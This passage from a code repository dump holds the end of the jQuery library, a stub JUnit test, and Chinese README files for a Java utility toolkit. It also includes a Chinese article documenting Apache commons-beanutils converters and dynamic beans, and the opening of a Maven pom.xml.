jQuery.guid++;\n\n\treturn proxy;\n};\n\njQuery.holdReady = function( hold ) {\n\tif ( hold ) {\n\t\tjQuery.readyWait++;\n\t} else {\n\t\tjQuery.ready( true );\n\t}\n};\njQuery.isArray = Array.isArray;\njQuery.parseJSON = JSON.parse;\njQuery.nodeName = nodeName;\njQuery.isFunction = isFunction;\njQuery.isWindow = isWindow;\njQuery.camelCase = camelCase;\njQuery.type = toType;\n\njQuery.now = Date.now;\n\njQuery.isNumeric = function( obj ) {\n\n\t// As of jQuery 3.0, isNumeric is limited to\n\t// strings and numbers (primitives or objects)\n\t// that can be coerced to finite numbers (gh-2662)\n\tvar type = jQuery.type( obj );\n\treturn ( type === \"number\" || type === \"string\" ) &&\n\n\t\t// parseFloat NaNs numeric-cast false positives (\"\")\n\t\t// ...but misinterprets leading-number strings, particularly hex literals (\"0x...\")\n\t\t// subtraction forces infinities to NaN\n\t\t!isNaN( obj - parseFloat( obj ) );\n};\n\n\n\n\n// Register as a named AMD module, since jQuery can be concatenated with other\n// files that may use define, but not via a proper concatenation script that\n// understands anonymous AMD modules. A named AMD is safest and most robust\n// way to register. Lowercase jquery is used because AMD module names are\n// derived from file names, and jQuery is normally delivered in a lowercase\n// file name. Do this after creating the global so that if an AMD module wants\n// to call noConflict to hide this version of jQuery, it will work.\n\n// Note that for maximum portability, libraries that are not jQuery should\n// declare themselves as anonymous modules, and avoid setting a global if an\n// AMD loader is present. jQuery is a special case. For more information, see\n// https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon\n\nif ( typeof define === \"function\" && define.amd ) {\n\tdefine( \"jquery\", [], function() {\n\t\treturn jQuery;\n\t} );\n}\n\n\n\n\nvar\n\n\t// Map over jQuery in case of overwrite\n\t_jQuery = window.jQuery,\n\n\t// Map over the $ in case of overwrite\n\t_$ = window.$;\n\njQuery.noConflict = function( deep ) {\n\tif ( window.$ === jQuery ) {\n\t\twindow.$ = _$;\n\t}\n\n\tif ( deep && window.jQuery === jQuery ) {\n\t\twindow.jQuery = _jQuery;\n\t}\n\n\treturn jQuery;\n};\n\n// Expose jQuery and $ identifiers, even in AMD\n// (#7102#comment:10, https://github.com/jquery/jquery/pull/557)\n// and CommonJS for browser emulators (#13566)\nif ( !noGlobal ) {\n\twindow.jQuery = window.$ = jQuery;\n}\n\n\n\n\nreturn jQuery;\n} );\n"
  },
  {
    "path": "jun_java_plugins/jun_aliyun_sms/src/test/java/Test.java",
    "content": "/**\n * \n */\n\n\nimport static org.junit.Assert.*;\n\nimport org.junit.After;\nimport org.junit.AfterClass;\nimport org.junit.Before;\nimport org.junit.BeforeClass;\n\n/**\n * @author Wujun\n *\n */\npublic class Test {\n\n\t/**\n\t * @throws java.lang.Exception\n\t */\n\t@BeforeClass\n\tpublic static void setUpBeforeClass() throws Exception {\n\t}\n\n\t/**\n\t * @throws java.lang.Exception\n\t */\n\t@AfterClass\n\tpublic static void tearDownAfterClass() throws Exception {\n\t}\n\n\t/**\n\t * @throws java.lang.Exception\n\t */\n\t@Before\n\tpublic void setUp() throws Exception {\n\t}\n\n\t/**\n\t * @throws java.lang.Exception\n\t */\n\t@After\n\tpublic void tearDown() throws Exception {\n\t}\n\n\t@org.junit.Test\n\tpublic void test() {\n\t\tfail(\"Not yet implemented\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/README.md",
    "content": "##  jun_apache_commons，通用开发工具包，主要基于apache-common系列\n\n一、数据库工具类\n  \n  1、com.baijob.commonTools.db.ds\n\t\t\n\tC3p0Ds 和 DruidDs分别是两种连接池的实现，依赖于数据库配置文件，配置文件的样例参考config/db-example.setting\n\t使用时将db-example.setting复制于${classpath}/config/db.setting，按照配置文件中的说明替换相应值\n\t如果使用Druid，则需参考druid-example.setting创建${classpath}/config/druid.setting文件，详情请参考官方文档\n\t使用C3P0则需要参考c3p0-config-example.xml创建${classpath}/c3p0-config.xml来调节C3P0参数\n\t此时即可调用C3p0Ds.getDataSource()或DruidDs.getDataSource()方法获得默认的数据源\n\t\t\n\t如果要自定义数据库配置文件的参数，请调用相应的init()，传入相关参数\n\t注：Setting对象请参考与之对应的章节\n\t\t\n  2、com.baijob.commonTools.db.DbUtil\n\t\t\n\t数据库工具类，提供了关闭方法：关闭可以传入多个参数，关闭的顺序是按照参数的顺序来的，用于一次性关闭Connnection、Statement、ResultSet等\n\tnewSqlRunner方法用于快速新建一个SqlRunner（此类介绍参考下问）\n\t\t\n\t3、com.baijob.commonTools.db.DsSetting，用于读取db.setting文件辅助类，内部使用\n\t\n\t4、com.baijob.commonTools.db.SqlRunner类参考Apache的DbUtils工具包，封装了常用的增删改查方法，与com.baijob.commonTools.db.RsHandler配合使用\n\t\tcom.baijob.commonTools.db.RsHandler接口与Apache的DbUtils的ResultSetHandler等价，抽象结果集处理。\n\t\t\n二、邮件工具类\n\t\n\t1、com.baijob.commonTools.mail.MailAccount 邮件账户类。\n\t\t可以调用MailAccount(String accountSettingFileBaseClassLoader)读取相对路径的Setting文件，配置参考mailAccount-example.setting\n\t\t\n\t2、com.baijob.commonTools.mail.MailUtil邮件发送工具类，方法请参考注释\n\t\n\t此工具类依赖javax.mail，请参考pom.xml添加依赖或手动下载\n\t\n三、网络相关工具类\n\t\n\t1、com.baijob.commonTools.net.AccessControl访问控制，基于配置文件，可以设定IP白名单或黑名单，可以通过配置文件实现简单的账户验证。\n\t\t配置文件请参考access-example.xml\n\t\n\t2、com.baijob.commonTools.net.Connector 连接对象实体类，有host、端口、用户名、密码等属性\n\t\n\t3、com.baijob.commonTools.net.HtmlUtil HTML工具类，暂时只提供特殊字符转义\n\t\n\t4、com.baijob.commonTools.net.SocketUtil socket工具类。\n\t\tisUsableLocalPort() 检测本地某个端口是否可用（可用是指没有被其他程序占用）\n\t\tisValidPort()是否是符合规范的端口号\n\t\tlongToIpv4()将long转换为ipv4地址，反方法是ipv4ToLong()\n\t\tnetCat()简易的数据发送方法\n\t\t\n\t5、com.baijob.commonTools.net.SSHUtil SSH相关工具类\n\t\tgetSession()获得一个SSH会话\n\t\tbindPort()将远程主机的端口映射到本地某个端口\n\t\t\n\t6、com.baijob.commonTools.net.URLUtil 将相对、绝对路径转换为URL对象，用于网络或文件流的读写，Setting的配置依赖此工具包\n\t\n四、线程相关工具类\n\t1、com.baijob.commonTools.thread.BaseRunnable 此类实现了Runnable接口，扩展了功能。\n\t\t增加名称、ID，调用次数和时间统计、线程停止接口等，并且在线程运行时，不允许此线程第二次启动。\n\t\n\t2、com.baijob.commonTools.thread.Executor 线程池工具类\n\t\t调用静态方法execute()启动线程，此线程在公共的线程池中执行\n\t\t若想自定义线程池大小或独立控制，可调用newExecutor()实例化一个线程池\n\t\texcAsync()执行一个异步方法\n\t\n\t3、com.baijob.commonTools.thread.SyncQueue 阻塞队列，简化了JDK的BlockingQueue"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/doc/commons-beanutils文档.md",
    "content": "**commons-beanutils****文档**\n\n[开源框架学习](http://blog.163.com/among_1985/blog/) 2008-12-11 08:28:48 阅读191 评论1  字号：大中小 订阅 \n\n**1.**  **概述**\n\ncommons-beanutil开源库是apache组织的一个基础的开源库，为apache中许多类提供工具方法，学习它是学习其他开源库实现的基础。\n\nCommons-beanutil中包含大量和JavaBean操作有关的工具方法，使用它可以轻松利用Java反射机制来完成代码中所需要的功能，而不需要详细研究反射的原理和使用，同时，该类库中提出了动态Bean的概念，不但提供现有JavaBean的所有功能，而且还可以在运行时动态的对Bean中的属性数据类型进行修改以及增删属性。\n\n本文研究的是v1.7版本的commons-utils类库。\n\n \n\n**2.**  **转换器**\n\n**2.1.** **概述**\n\n转换器用来将输入数据转换成需要的数据类型，同时提供统一的接口，方便客户代码使用和扩展。\n\nCommons-beanutils包中，所有转换器都从org.apache.commons.beanutils.Converter接口集成，添加自己需要的实现。\n\n转换器分为以下三个部分：\n\nl     数组转换器\n\nl     普通转换器\n\nl     地区敏感的转换器\n\nl     转换器工具类\n\nConverter子类包含的都是转换器的实现，一般情况下，不需要直接实例化这些类，只需要使用ConvertUtil中convert方法，就可以进行数据类型的转换。高级用户不但可以使用默认的转换方式，还可以向ConvertUtils中注册新的或替代原有的转换器，实现需要的业务逻辑。\n\n \n\n**2.2.**  **转换器接口**\n\n转换器接口的详细信息如下：\n\n \n\n| **类名**  | **描述**                                                     |\n| --------- | ------------------------------------------------------------ |\n| Converter | BeanUtil框架中使用的类型转换接口，可以将输入数据转换成需要的类型 |\n\n \n\n**2.3.** **数组转换器**\n\n**2.3.1****.**  **概述**\n\n数组转换器的实现被封装在org.apache.commons.beanutils.converters包中。它的功能是将一定格式的输入字符串转换成不同类型的数组，输入数据以逗号分隔，开头和结尾可以用大括号括起来，例如：“{1, 2, 3, 4, 5}”。\n\n所有数组转换器实现都从一个名为AbstractArrayConverter的抽象基类中集成，这个类提供了解析输入字符串的工具方法。\n\n**2.3.2****.**  **类说明**\n\n数组转换器的详细类说明如下：\n\n \n\n| **类名**                | **描述**                                                     |\n| ----------------------- | ------------------------------------------------------------ |\n| AbstractArrayConverter  | 用来将输入字符串转换成数组的抽象类，提供了所有ArrayConverter需要的公共方法。 |\n| BooleanArrayConverter   | 将输入的任何对象转换成boolean数组，传入对象要满足以下几个条件后才能正确转换：  1.   传入对象为boolean数组，直接返回。  2.   传入对象为String数组，只要数组中的每个元素满足特定条件，就可以正常解析为boolean数组。  3.   传入对象为其他类型，只要对象的toString()方法返回的字符串为逗号分隔的格式，并且每部分满足特定条件，就可以解析为boolean数组。  **可以向boolean类型转换的字符串如下**：  l      yes，y，true，on，1被转换为true  l      no，n，false，off，0被转换成false  l      其他字符串为非法字符串，如果遇到就停止转换，抛出异常或返回默认值。  **原有代码实现的缺陷和改进方案**：  1.   字符串数组解析算法重复：可以通过提取公共函数的方法消除重复。  2.   try/catch嵌套混乱：解决方法同上，只要提取公共方法后自然就可以解决这个问题。  3.   特殊字符串被硬编码，例如yes，y，no，n等：将这些特殊字串提取成常量，放入映射表中维护，减少复杂的判断语句。 |\n| ByteArrayConverter      | 将传入对象转换为byte数组，如果转换失败，就抛出异常。  仍然有重复代码的问题。 |\n| CharacterArrayConverter | 将对象转换为char数组                                         |\n| DoubleArrayConverter    | 将对象转换成double数组                                       |\n| FloatArrayConverter     | 将对象转换成float数组                                        |\n| IntegerArrayConverter   | 将对象转换成int数组                                          |\n| LongArrayConverter      | 将对象转换成long数组                                         |\n| ShortArrayConverter     | 将对象转换成short数组                                        |\n| StringArrayConverter    | javadoc中说是将String数组转换成String数组，但不知道这样有什么意义。  查看代码后发现算法只能转换int型的数组为String数组，其他的类型比如long型数组均不能正常转换。  最好不用这个类。 |\n\n \n\n**2.3.3****.**  **类图**\n\n以上类构成了如下的类结构图：\n\n \n\n \n\n**2.3.4****.**  **小结**\n\n通过阅读数组转换器的代码，发现代码存在以下问题：\n\n\\1.    代码冗余：代码不够简洁，每个类中都或多或少的存在代码复制粘贴的痕迹。\n\n\\2.    部分类的类型转换时存在缺陷，不能正常转换。\n\n \n\n**2.4.**  **普通转换器**\n\n**2.4.1****.**  **概述**\n\n普通转换器提供了将字符串转换成Java中的数字、时间日期类型和其他类型对象的方法。\n\n普通转换器都直接从Converter接口集成，实现其中的抽象方法。\n\n用户不但可以直接使用这些工具方法，也可以自己实现一些特殊业务需求的转换器，只要实现Converter接口即可。\n\n**2.4.2****.**  **类说明**\n\n普通转换器的类说明如下：\n\n \n\n| **类名**              | **描述**                                                     |\n| --------------------- | ------------------------------------------------------------ |\n| BigDecimalConverter   | 将字符串转换成BigDecimal类型数据。转换失败时可以抛出异常，也可以返回默认值。 |\n| BigIntegerConverter   | 将数组转换成java.math.BigInteger类型对象，如果转换失败，可以抛出异常，也可以直接返回默认值。 |\n| BooleanConverter      | 将字符串转换成boolean类型对象。 如果转换失败，可以抛出异常，也可以返回默认值。 |\n| ByteConverter         | 将字符串转换成byte类型，如果转换失败，抛出异常或返回默认值。 |\n| CharacterConverter    | 将字符串转换成char，如果转换失败，抛出异常或返回默认值。     |\n| ClassConverter        | 从当前上下文的ClassLoader中加载类，如果类不存在，可以抛出异常，也可以直接返回默认值。 |\n| DoubleConverter       | 将输入字符串转换成double类型。如果转换失败，可以抛出异常，也可以返回默认值。 |\n| FileConverter         | 根据输入字符串初始化File对象，如果对象创建失败，抛出异常或返回默认值。 |\n| FloatConverter        | 将字符串转换成Float类型，如果转换失败，可以抛出异常，可以返回默认值。 |\n| IntegerConverter      | 将字符串转换成Integer类型对象，如果转换失败，可以抛出异常，也可以返回默认值。 |\n| LongConverter         | 将字符串转换成Long类型对象，如果转换失败，可以抛出异常，也可以返回默认值。 |\n| ShortConverter        | 将字符串转换成short类型对象，如果转换失败，可以抛出异常，也可以返回默认值。 |\n| SqlTimeConverter      | 将字符串转换成java.sql.Time对象，如果转换失败，可以抛出异常，也可以返回默认值。 |\n| SqlTimestampConverter | 将字符串转换成javax.sql.Timestamp对象，如果转换失败，可以抛出异常，也可以返回默认值。 |\n| StringConverter       | 将字符串对象转换成字符串对象。  单独使用没有什么意义，但是在面向接口编程中实现了一种通用的转换方法，比较有用。 |\n| URLConverter          | 将字符串转换成URL对象，如果转换失败，抛出异常，或者直接返回默认值。 |\n|                       |                                                              |\n\n \n\n \n\n**2.4.3.**  **类图**\n\n通用转换器的类结构图如下：\n\n \n\n \n\n**2.4.4.**  **小结**\n\n通用转换器存在的问题是：\n\n对于默认值的校验不到位，没有针对具体Converter的类型进行校验，一旦转换失败，直接返回默认值后可能导致后续代码出现ClassCastException，没有从源头杜绝这种情况发生，虽然这样设计更加灵活，但弊大于利，最好是在类创建时进行校验。\n\n \n\n**2.5.**  **地区敏感转换器**\n\n**2.5.1.**  **概述**\n\n地区敏感转换器都被封装在org.apache.commons.beanutils.locale和org.apache.commons.beanutils.locale.converters包中，前者提供一个集成自Converter的通用接口，后者提供这个接口的具体实现。\n\n地区敏感转换器主要实现了当需要分地区进行转换时，需要进行的操作。主要功能是将带有不同地区特征的字符串转换成数字和时间日期类型对象。\n\n**2.5.2.**  **类说明**\n\n地区敏感转换器的类说明如下：\n\n \n\n| **类名**                    | **描述**                                                     |\n| --------------------------- | ------------------------------------------------------------ |\n| LocaleConverter             | 进行地区敏感的数据类型的转换                                 |\n| BaseLocaleConverter         | 封装所有地区敏感conveter的公共方法                           |\n| DateLocaleConverter         | 将地区敏感对象转换成java.util.Date对象。                     |\n| SqlDateLocaleConverter      | 将输入对象转换成java.sql.Date 对象                           |\n| SqlTimeLocaleConverter      | 将输入对象转换成java.sql.Time对象                            |\n| SqlTimestampLocaleConverter | 将输入对象转换成java.sql.Timestamp的格式                     |\n| DecimalLocaleConverter      | 将地区敏感的输入转换成java.lang.Decimal对象                  |\n| BigDecimalLocaleConverter   | 将输入的地区敏感字符串转换成java.math.BigDecimal对象。  没有重写任何方法，应该只是为了和其他实现样式一致编写的方法。 |\n| BigIntegerLocaleConverter   | 将输入的地区敏感的对象转换成java.math.BigInteger 对象  没有重写任何方法，应该只是为了和其他实现样式一致编写的方法。 |\n| ByteLocaleConverter         | 将输入的地区敏感的字符串转换成java.lang.Byte 对象            |\n| DoubleLocaleConverter       | 将地区敏感的对象转换成java.lang.Double对象                   |\n| FloatLocaleConverter        | 将地区敏感的字符串转换成java.lang.Float对象                  |\n| IntegerLocaleConverter      | 将地区敏感的字符串转换成java.lang.Integer对象                |\n| LongLocaleConverter         | 将地区敏感的字符串转换成java.lang.Long对象                   |\n| ShortLocaleConverter        | 将地区敏感的字符串转换成java.lang.Short对象                  |\n| StringLocaleConverter       | 将字符串转换成数字的字符串形式。  好像没有什么实际的作用     |\n\n \n\n**2.5.3.**  **类图**\n\n地区敏感转换器的类图如下：\n\n \n\n \n\n \n\n**2.5.4.**  **小结**\n\n地区敏感转换器中所有参数参数都是直接从构造函数中输入的，没有get和set，代码冗余度很大，需要重构。\n\n \n\n**2.6.**  **转换器工具类**\n\n转换器相关的工具类是外界实际使用的接口，默认情况下，系统会向工具类中注册上述各种类型数据的转换器对象，用户可以自定义这些注册信息，添加，修改或删除自己不需要的转换器，还可以将自己实现的类型注册到转换器中。\n\n转换器工具类的详细信息如下：\n\n \n\n| **类名**               | **描述**                                                     |\n| ---------------------- | ------------------------------------------------------------ |\n| ConvertUtils           | 将字符串对象转换成相应类型的对象。如，将String对象转换成Integer类型的对象，或将String对象转换成Integer数组对象。  默认使用系统自定义的转换器，但接口开放，可以自定义转换器进行数据类型转换。 |\n| ConvertUtilsBean       | 实际进行数据转换的类。                                       |\n| LocaleConvertUtils     | 和ConvertUtils作用类似，在转换的过程中根据不同的地区进行不用的转换，适用于地区敏感的数据。 |\n| LocaleConvertUtilsBean |                                                              |\n\n \n\n \n\n**2.7.**  **转换器总结**\n\n转换器这一套代码中实现了字符串向Java中各种数据类型的转换，这样在转换数据类型时不需要了解各种数据类型的转换API，只需要知道Converter接口即可，方便了开发人员编写代码。\n\n但这套代码也有很多不足，其中最大的就是代码冗余的问题，小到函数内部的实现，大到整个的类结构，或多或少的都存在代码复制粘贴的影子，可以通过重构让代码变得更加清晰。\n\n \n\n**3.**  **动态****bean**\n\n**3.1.** **概述**\n\n我们知道，每一个JavaBean对象中包含一个Class对象，这个对象是单实例的并且在当前类加载器中全局唯一,由JVM维护，用来存储Bean中的属性描述信息，这些信息在运行时无法修改。\n\n动态bean符合JavaBean架构的基本思想，每一个DynaBean实例有一个DynaClass对象，这个对象在同类DynaBean中唯一，但可以动态的对属性进行增删改的操作。这样就弥补了原来JavaBean架构中当Bean定义后不能对Bean中属性进行扩展的缺点，同时，提供了对bean中属性进行get/set的统一工具类，这些工具类的接口可以兼容动态Bean、标准Bean，以及映射(map)。\n\n**3.2.** **动态Bean属性**\n\n动态Bean中的属性使用DynaProperty对象进行描述，\n\n \n\n| **类名**     | **描述**                                                     |\n| ------------ | ------------------------------------------------------------ |\n| DynaProperty | 动态bean中的属性，由属性名，属性类型两部分组成，对于数组、链表这类复杂类型，还加入了内容类型的概念，用来描述这些复杂数据接口内部对象的类型。 |\n\n \n\n**3.3.** **动态****Bean****的****Class****对象**\n\n**3.3.1.**  **概述**\n\n动态Bean的Class对象描述了Bean中包含的属性以及属性的数据类型，分为DynaClass和MutableDynaClass两个接口，其中MutableDynaClass接口继承自DynaClass接口，同时提供对Bean属性进行修改的方法。\n\n详细描述如下：\n\n \n\n| **接口名**       | **描述**                                                     |\n| ---------------- | ------------------------------------------------------------ |\n| DynaClass        | 动态类模仿java.lang.Class 的实现。使用DynaClass创建DynaBean 对象，所有DynaBean  对象共享一个DynaClass实例。 |\n| MutableDynaClass | 对于DynaClass的特殊扩展，允许动态的添加和移除类的属性        |\n\n \n\n**3.3.2.**  **类说明**\n\n有多个类扩展了以上两个接口，详细信息如下：\n\n \n\n| **类名**           | **描述**                                                     |\n| ------------------ | ------------------------------------------------------------ |\n| BasicDynaClass     | 对DynaClass接口的基本实现，提供了最基本的功能。              |\n| JDBCDynaClass      | 实现JDBC逻辑的动态类                                         |\n| ResultSetDynaClass | 封装java.sql.ResultSet对象，提供和其他对象一样访问方式的类。 |\n| RowSetDynaClass    | 从ResultSet中读取所有数据，封装在RowSetDynaBean中。          |\n| LazyDynaClass      |                                                              |\n| DynaProperty       | 动态bean中的属性                                             |\n| WrapDynaClass      | 封装标准JavaBean的动态bean的DynaClass对象                    |\n\n \n\n**3.3.3.**  **类图**\n\n上述类之间的关系如下：\n\n \n\n \n\n**3.4.** **动态****Bean**\n\n**3.4.1.**  **概述**\n\n所有动态Bean实例都继承自DynaBean接口，可以创建DynaBean的实例，并对其属性进行修改。\n\n接口详细信息如下：\n\n \n\n| **接口名** | **描述**                                           |\n| ---------- | -------------------------------------------------- |\n| DynaBean   | 提供了属性类型，名称，内容可以动态修改的JavaBean。 |\n\n \n\n**3.4.2.**  **类说明**\n\n以下类实现了DynaBean接口：\n\n \n\n| **类名**               | **描述**                                                  |\n| ---------------------- | --------------------------------------------------------- |\n| WrapDynaClass          | 封装标准JavaBean的动态bean的DynaClass对象                 |\n| BasicDynaBean          | 对DynaBean接口的最小实现                                  |\n| ResultSetIterator      | 封装ResultSetDynaClass的DynaBean                          |\n| LazyDynaBean           | 可以动态添加属性的Bean                                    |\n| WrapDynaBean           | 封装标准的JavaBean，提供DynaBean的访问方式                |\n| ConvertingWrapDynaBean | WrapDynaBean的子类，在set数据时可以提供必要的数据类型转换 |\n\n \n\n**3.4.3.**  **类图**\n\nDynaBean相关类之间关系如下：\n\n \n\n \n\n**4.**  **工具类**\n\n**4.1.** **概述**\n\n和任何成熟的开源包一样，commons-beanutils作为一个工具包，提供了对JavaBean以及动态Bean进行操作的工具类，即使没有使用动态Bean，仍然可以放心的使用这些工具类。\n\n常用的工具类有以下几个部分：\n\nl     PropertyUtils：对JavaBean中的属性值进行操作。\n\nl     MethodUtils：使用反射的方式请求bean中的方法。\n\nl     ConstructorUtils：使用反射的方式构造Bean的新实例。\n\nl     BeanUtils：对JavaBean提供拷贝，赋值等操作。\n\nl     LocaleBeanUtils：和BeanUtils功能类似，但还可以提供地区敏感数据的操作。\n\nl     ContextClassLoaderLocal：为不同线程保存需要数据的工具类。\n\n \n\n**4.2.** **详细说明**\n\n工具类的详细说明如下：\n\n \n\n| **类名**                | **描述**                                                     |\n| ----------------------- | ------------------------------------------------------------ |\n| ContextClassLoaderLocal | 提供保存不同线程数据的工具类，在JDK1.5中已经可以用ThreadLocal代替. |\n| PropertyUtils           | 使用Java反射API编写的工具类，用于方便的进行get和set。  本工具类的所有实现都是对PropertyUtilsBean的封装和代理。 |\n| PropertyUtilsBean       | 使用Java反射API进行set和get的工具类。                        |\n| MethodUtils             | 封装以放射方式请求方法的工具方法                             |\n| ConstructorUtils        | 使用反射方法请求构造函数创建新实例的工具类，可以简化程序中使用反射方式创建对象的代码。 |\n| BeanUtilsBean           | 提供对标准JavaBean和动态bean的操作。主要功能是复制bean中的内容，拷贝bean，为bean中的内容赋值和读取bean中内容。 |\n| BeanUtils               |                                                              |\n| LocaleBeanUtils         | 和BeanUtils作用类似，但在执行相应方法时可以进行地区敏感数据的转换。 |\n| LocaleBeanUtilsBean     |                                                              |\n\n \n\n**4.3.** **PropertyUtilsBean****的方法**\n\n通过研读commons-beanutils的源代码，整理了PropertyUtilsBean中的相关方法，如下所示：\n\n \n\n| **PropertyUtilsBean的方法名** | **描述**                                                     |\n| ----------------------------- | ------------------------------------------------------------ |\n| copyProperties                | bean属性拷贝(copyProperties)，可以拷贝bean中所有属性，拷贝时遵循原来bean中的访问控制策略：  l      动态bean向动态bean拷贝  l      动态bean向标准bean拷贝  l      MAP向动态bean拷贝  l      Map向标准bean拷贝  l      标准bean向动态bean拷贝  l      标准bean向标准bean拷贝 |\n| describe                      | 将bean属性拷贝到Map中。  只拷贝源bean中可读的属性，忽略其他属性。 |\n| getIndexedProperty            | 得到bean中的索引属性值：  有两种形式，一种的参数是string，另一种的参数是属性名和位置，前者是“name[1]”的形式，后者是“name, 1”的形式。  例如，要取出bean中名为name属性的第2个对象，可以使用getIndexedProperty(bean,  “name[1]”)的形式，也可以使用getIndexedProperty(bean,  “name”, 1)的形式。  l      如果输入是动态bean，可以得到动态bean的索引属性。  如果属性是数组或列表，可以得到相应属性。 |\n| getMappedProperty             | 得到bean中的映射属性值：  本方法有两种原型，可以输入(bean, “name(key)”)取出bean中名为name映射属性中以key为键的属性值；也可以输入(bean,  “name”, “key”)的方式取出bean中名为name映射属性中以key为键的属性值。 |\n| getNestedProperty             | 得到bean中的嵌套属性值。获取值的bean需要有get方法，还要有public访问权限，否则BeanUtils中的类无法访问。  适合在web页面上进行bean值的读取。 |\n| getPropertyDescriptor         | 得到bean中相应属性的属性描述符                               |\n| getPropertyDescriptors        | 得到bean中所有属性的属性描述符                               |\n| getPropertyEditorClass        | 得到bean中的属性编辑器类                                     |\n| getPropertyType               | 得到bean中相应属性类型                                       |\n| getReadMethod                 | 得到属性描述符中的get方法                                    |\n| getSimpleProperty             | 得到bean中简单属性的值                                       |\n| getWriteMethod                | 得到属性描述符中的写方法                                     |\n| isReadable                    | 判断bean中的指定属性是否可读                                 |\n| isWriteable                   | 判断bean中的对应方法是否可写                                 |\n| setIndexedProperty            | 向bean中的索引属性赋值                                       |\n| setMappedProperty             | 向bean中的映射属性赋值                                       |\n| setNestedProperty             | 向bean中的内嵌属性赋值                                       |\n| setProperty                   | 为bean中的属性赋值（包括简单属性和索引属性）                 |\n| setSimpleProperty             | 为bean中的简单属性赋值                                       |\n\n \n\n**5.**  **总结**\n\nCommons-beanutils是一款优秀的工具类库。不但提供了一种可以动态扩展属性的JavaBean，同时封装了Java的反射机制，使用者可以更加容易的对反射进行操作，而不需要了解那么多和反射相关的知识。\n\n \n\n "
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/doc/工具类.md",
    "content": "一、数据库工具类\n\t1、com.baijob.commonTools.db.ds\n\t\t\n\t\tC3p0Ds 和 DruidDs分别是两种连接池的实现，依赖于数据库配置文件，配置文件的样例参考config/db-example.setting\n\t\t使用时将db-example.setting复制于${classpath}/config/db.setting，按照配置文件中的说明替换相应值\n\t\t如果使用Druid，则需参考druid-example.setting创建${classpath}/config/druid.setting文件，详情请参考官方文档\n\t\t使用C3P0则需要参考c3p0-config-example.xml创建${classpath}/c3p0-config.xml来调节C3P0参数\n\t\t此时即可调用C3p0Ds.getDataSource()或DruidDs.getDataSource()方法获得默认的数据源\n\t\t\n\t\t如果要自定义数据库配置文件的参数，请调用相应的init()，传入相关参数\n\t\t注：Setting对象请参考与之对应的章节\n\t\t\n\t2、com.baijob.commonTools.db.DbUtil\n\t\t\n\t\t数据库工具类，提供了关闭方法：关闭可以传入多个参数，关闭的顺序是按照参数的顺序来的，用于一次性关闭Connnection、Statement、ResultSet等\n\t\tnewSqlRunner方法用于快速新建一个SqlRunner（此类介绍参考下问）\n\t\t\n\t3、com.baijob.commonTools.db.DsSetting，用于读取db.setting文件辅助类，内部使用\n\t\n\t4、com.baijob.commonTools.db.SqlRunner类参考Apache的DbUtils工具包，封装了常用的增删改查方法，与com.baijob.commonTools.db.RsHandler配合使用\n\t\tcom.baijob.commonTools.db.RsHandler接口与Apache的DbUtils的ResultSetHandler等价，抽象结果集处理。\n\n二、邮件工具类\n\t\n\t1、com.baijob.commonTools.mail.MailAccount 邮件账户类。\n\t\t可以调用MailAccount(String accountSettingFileBaseClassLoader)读取相对路径的Setting文件，配置参考mailAccount-example.setting\n\t\t\n\t2、com.baijob.commonTools.mail.MailUtil邮件发送工具类，方法请参考注释\n\t\n\t此工具类依赖javax.mail，请参考pom.xml添加依赖或手动下载\n\n三、网络相关工具类\n\t\n\t1、com.baijob.commonTools.net.AccessControl访问控制，基于配置文件，可以设定IP白名单或黑名单，可以通过配置文件实现简单的账户验证。\n\t\t配置文件请参考access-example.xml\n\t\n\t2、com.baijob.commonTools.net.Connector 连接对象实体类，有host、端口、用户名、密码等属性\n\t\n\t3、com.baijob.commonTools.net.HtmlUtil HTML工具类，暂时只提供特殊字符转义\n\t\n\t4、com.baijob.commonTools.net.SocketUtil socket工具类。\n\t\tisUsableLocalPort() 检测本地某个端口是否可用（可用是指没有被其他程序占用）\n\t\tisValidPort()是否是符合规范的端口号\n\t\tlongToIpv4()将long转换为ipv4地址，反方法是ipv4ToLong()\n\t\tnetCat()简易的数据发送方法\n\t\t\n\t5、com.baijob.commonTools.net.SSHUtil SSH相关工具类\n\t\tgetSession()获得一个SSH会话\n\t\tbindPort()将远程主机的端口映射到本地某个端口\n\t\t\n\t6、com.baijob.commonTools.net.URLUtil 将相对、绝对路径转换为URL对象，用于网络或文件流的读写，Setting的配置依赖此工具包\n\n四、线程相关工具类\n\t1、com.baijob.commonTools.thread.BaseRunnable 此类实现了Runnable接口，扩展了功能。\n\t\t增加名称、ID，调用次数和时间统计、线程停止接口等，并且在线程运行时，不允许此线程第二次启动。\n\t\n\t2、com.baijob.commonTools.thread.Executor 线程池工具类\n\t\t调用静态方法execute()启动线程，此线程在公共的线程池中执行\n\t\t若想自定义线程池大小或独立控制，可调用newExecutor()实例化一个线程池\n\t\texcAsync()执行一个异步方法\n\t\n\t3、com.baijob.commonTools.thread.SyncQueue 阻塞队列，简化了JDK的BlockingQueue"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<version>1.0</version>\n\t<artifactId>jun_apache_commons</artifactId>\n\t<packaging>jar</packaging>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>commons-cli</groupId>\n\t\t\t<artifactId>commons-cli</artifactId>\n\t\t\t<version>1.2</version>\n\t\t</dependency>\n\t\t<!-- 通用日志接口，可以适应不用的日志方式 -->\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>1.7.2</version>\n\t\t</dependency>\n\t\t<!-- XML操作类库 -->\n\t\t<dependency>\n\t\t\t<groupId>dom4j</groupId>\n\t\t\t<artifactId>dom4j</artifactId>\n\t\t\t<version>1.6.1</version>\n\t\t</dependency>\n\t\t<!-- MySQL连接组件，只在测试时使用 